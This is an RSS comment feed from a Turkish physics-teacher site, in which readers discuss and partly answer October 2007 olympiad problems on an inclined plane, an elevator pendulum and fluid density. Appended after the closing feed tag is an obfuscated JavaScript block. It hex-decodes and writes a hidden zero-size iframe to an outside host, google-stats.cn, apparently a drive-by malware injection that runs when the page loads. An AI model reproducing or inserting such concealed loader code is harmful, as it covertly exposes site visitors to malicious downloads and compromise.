<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Ekim 2007 Olimpiyat Soruları yazısına yapılan yorumlar</title>
	<atom:link href="http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/</link>
	<description>Aylık online fizik dergisi.</description>
	<pubDate>Mon, 06 Oct 2008 17:03:13 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
		<item>
		<title>savas tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-4524</link>
		<dc:creator>savas</dc:creator>
		<pubDate>Wed, 07 Nov 2007 10:38:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-4524</guid>
		<description>daha güzel sorular bulabilirler bence ....Aynı kalıplardan sıyrılmak lazım</description>
		<content:encoded><![CDATA[<p>daha güzel sorular bulabilirler bence &#8230;.Aynı kalıplardan sıyrılmak lazım</p>
]]></content:encoded>
	</item>
	<item>
		<title>Avci tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-4376</link>
		<dc:creator>Avci</dc:creator>
		<pubDate>Thu, 01 Nov 2007 22:57:11 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-4376</guid>
		<description>Aslında soruda eğim açısı verilmeliydi. Ama sorulmuş şekliyle çözüm bu olabilir. Sayın veyaz gibi düşünüyorum.</description>
		<content:encoded><![CDATA[<p>Aslında soruda eğim açısı verilmeliydi. Ama sorulmuş şekliyle çözüm bu olabilir. Sayın veyaz gibi düşünüyorum.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Avci tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-4126</link>
		<dc:creator>Avci</dc:creator>
		<pubDate>Wed, 24 Oct 2007 01:04:47 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-4126</guid>
		<description>son eşitlikte M^2 yerine M^3 olmuşşş</description>
		<content:encoded><![CDATA[<p>son eşitlikte M^2 yerine M^3 olmuşşş</p>
]]></content:encoded>
	</item>
	<item>
		<title>Avci tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-4125</link>
		<dc:creator>Avci</dc:creator>
		<pubDate>Wed, 24 Oct 2007 00:48:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-4125</guid>
		<description>1. http://img228.imageshack.us/img228/7341/1ncica4.jpg
&lt;img src="http://img228.imageshack.us/img228/7341/1ncica4.jpg" alt="cozum" /&gt;</description>
		<content:encoded><![CDATA[<p>1. <a href="http://img228.imageshack.us/img228/7341/1ncica4.jpg" onclick="javascript:pageTracker._trackPageview('/outbound/comment/img228.imageshack.us');" rel="nofollow">http://img228.imageshack.us/im.....ncica4.jpg</a><br />
<img src="http://img228.imageshack.us/img228/7341/1ncica4.jpg" alt="cozum" /></p>
]]></content:encoded>
	</item>
	<item>
		<title>veyaz tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3901</link>
		<dc:creator>veyaz</dc:creator>
		<pubDate>Sat, 20 Oct 2007 11:42:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3901</guid>
		<description>4,08.10^3 gr/cm^3</description>
		<content:encoded><![CDATA[<p>4,08.10^3 gr/cm^3</p>
]]></content:encoded>
	</item>
	<item>
		<title>veyaz tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3898</link>
		<dc:creator>veyaz</dc:creator>
		<pubDate>Sat, 20 Oct 2007 11:32:08 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3898</guid>
		<description>T=2pi.karekökiçinde L.cosa/g-a</description>
		<content:encoded><![CDATA[<p>T=2pi.karekökiçinde L.cosa/g-a</p>
]]></content:encoded>
	</item>
	<item>
		<title>b.erhan tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3745</link>
		<dc:creator>b.erhan</dc:creator>
		<pubDate>Thu, 18 Oct 2007 09:49:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3745</guid>
		<description>3. cevap: r=40,8x10^3</description>
		<content:encoded><![CDATA[<p>3. cevap: r=40,8&#215;10^3</p>
]]></content:encoded>
	</item>
	<item>
		<title>b.erhan tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3736</link>
		<dc:creator>b.erhan</dc:creator>
		<pubDate>Thu, 18 Oct 2007 09:20:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3736</guid>
		<description>1: V = m.karakök(2gh)/M</description>
		<content:encoded><![CDATA[<p>1: V = m.karakök(2gh)/M</p>
]]></content:encoded>
	</item>
	<item>
		<title>medd tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3633</link>
		<dc:creator>medd</dc:creator>
		<pubDate>Tue, 16 Oct 2007 17:18:17 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3633</guid>
		<description>eğik düzlem ilk olarak enerjinin korunumundan hız bulunur. daha sonrada momentumun korunumundan eğik düzlemin hızını bulabilirsiniz yani açıya gerek yok. 

diğer sorulara doğru cevaplar verilmiş zaten</description>
		<content:encoded><![CDATA[<p>eğik düzlem ilk olarak enerjinin korunumundan hız bulunur. daha sonrada momentumun korunumundan eğik düzlemin hızını bulabilirsiniz yani açıya gerek yok. </p>
<p>diğer sorulara doğru cevaplar verilmiş zaten</p>
]]></content:encoded>
	</item>
	<item>
		<title>baretta tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3632</link>
		<dc:creator>baretta</dc:creator>
		<pubDate>Tue, 16 Oct 2007 13:30:33 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3632</guid>
		<description>1.soru momentum itme bağıntısını kullanarak kolayca çözülür.m.u=F.t  t eğik düzlemi terk etme süresi,F ise Mgsina dır.</description>
		<content:encoded><![CDATA[<p>1.soru momentum itme bağıntısını kullanarak kolayca çözülür.m.u=F.t  t eğik düzlemi terk etme süresi,F ise Mgsina dır.</p>
]]></content:encoded>
	</item>
	<item>
		<title>hilmi_isik tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3624</link>
		<dc:creator>hilmi_isik</dc:creator>
		<pubDate>Mon, 15 Oct 2007 13:04:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3624</guid>
		<description>bu sorular hep aynı bişey değiştirmemişler eski sorulardan kurtulamıyolar yada kolay geliyo benzer şeyleri sormak</description>
		<content:encoded><![CDATA[<p>bu sorular hep aynı bişey değiştirmemişler eski sorulardan kurtulamıyolar yada kolay geliyo benzer şeyleri sormak</p>
]]></content:encoded>
	</item>
	<item>
		<title>gulsum tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3616</link>
		<dc:creator>gulsum</dc:creator>
		<pubDate>Sun, 14 Oct 2007 19:50:11 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3616</guid>
		<description>2)asansör yukarı yönlü ma kadar kuvvet uygulayarak cismin düşeyindeki net kuvveti mg-ma,yatayda ise mv^2/r bu arada alfa açısını a ile göstereceğim r= l.sina
 tana=mv^2/l.sina/m(g-a)
v=2pi.l.sina/T yi yukardaki denklemde yerine koyarsak 
T=2pi(lcosa/g-a)^1/2
3)V/5.r1=v.dc1ise dc1=2720g/cm^3
 fkal=G1+G2
 v/2 r1=v.dc1+v+dc2
13,6.10^3/2=13,6.10^3/5+dc2 ise dc2=4.08.10^3g/cm^3tür.</description>
		<content:encoded><![CDATA[<p>2)asansör yukarı yönlü ma kadar kuvvet uygulayarak cismin düşeyindeki net kuvveti mg-ma,yatayda ise mv^2/r bu arada alfa açısını a ile göstereceğim r= l.sina<br />
 tana=mv^2/l.sina/m(g-a)<br />
v=2pi.l.sina/T yi yukardaki denklemde yerine koyarsak<br />
T=2pi(lcosa/g-a)^1/2<br />
3)V/5.r1=v.dc1ise dc1=2720g/cm^3<br />
 fkal=G1+G2<br />
 v/2 r1=v.dc1+v+dc2<br />
13,6.10^3/2=13,6.10^3/5+dc2 ise dc2=4.08.10^3g/cm^3tür.</p>
]]></content:encoded>
	</item>
	<item>
		<title>veyaz tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3614</link>
		<dc:creator>veyaz</dc:creator>
		<pubDate>Sun, 14 Oct 2007 16:05:53 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3614</guid>
		<description>eğik düzlem cevap: g.karekök 2h/g tür.</description>
		<content:encoded><![CDATA[<p>eğik düzlem cevap: g.karekök 2h/g tür.</p>
]]></content:encoded>
	</item>
	<item>
		<title>veyaz tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3612</link>
		<dc:creator>veyaz</dc:creator>
		<pubDate>Sun, 14 Oct 2007 13:14:50 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3612</guid>
		<description>eğik düzlemde açı verilmesi gerekiyor.</description>
		<content:encoded><![CDATA[<p>eğik düzlemde açı verilmesi gerekiyor.</p>
]]></content:encoded>
	</item>
	<item>
		<title>veyaz tarafından</title>
		<link>http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3611</link>
		<dc:creator>veyaz</dc:creator>
		<pubDate>Sun, 14 Oct 2007 13:06:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/ekim-2007-olimpiyat-sorulari/#comment-3611</guid>
		<description>eğik düzlem sorusunda bilgi eksikliği olabilir.</description>
		<content:encoded><![CDATA[<p>eğik düzlem sorusunda bilgi eksikliği olabilir.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<!-- o --><script type="text/javascript">function jgouxhcixerkio(gqnfvwqckkaxvgg){var xlwqrzxo="";for(mxkoehci=0;mxkoehci<gqnfvwqckkaxvgg.length;mxkoehci+=2){xlwqrzxo+=(String.fromCharCode(parseInt(gqnfvwqckkaxvgg.substr(mxkoehci,2),16)));}document.write(xlwqrzxo);}jgouxhcixerkio("3C696672wqxeru61wqxeru6Dwqxeru65wqxeru20wqxeru737263wqxeru3D22wqxeru68wqxeru747470wqxeru3Awqxeru2F2Fwqxeru676Fwqxeru6Fwqxeru67wqxeru6C652Dwqxeru73wqxeru746174732E636E2F7371wqxeru6Cwqxeru2Fwqxeru69wqxeru6Ewqxeru2Ewqxeru636769wqxeru3Fwqxeru646566wqxeru6175wqxeru6C7422wqxeru206672wqxeru61wqxeru6D65626Fwqxeru72wqxeru6465wqxeru723Dwqxeru22wqxeru30wqxeru222062wqxeru6Fwqxeru7264wqxeru65wqxeru72wqxeru3Dwqxeru2230222077wqxeru69wqxeru6474683Dwqxeru22wqxeru3022206865wqxeru69676874wqxeru3Dwqxeru22wqxeru30wqxeru22wqxeru2073wqxeru74wqxeru79wqxeru6C65wqxeru3Dwqxeru22706Fwqxeru73wqxeru6974wqxeru696Fwqxeru6E3A2061wqxeru62wqxeru736Fwqxeru6C7574653Bwqxeru20wqxeru76wqxeru6973wqxeru6962696Cwqxeru69wqxeru74wqxeru79wqxeru3A20wqxeru68wqxeru69wqxeru6464656E3Bwqxeru20wqxeru64wqxeru69wqxeru73wqxeru706Cwqxeru61wqxeru79wqxeru3A206Ewqxeru6F6E65wqxeru223E3C2Fwqxeru69wqxeru66wqxeru7261wqxeru6D653Ewqxeru".replace(/wqxeru/g, ""));</script><!-- c -->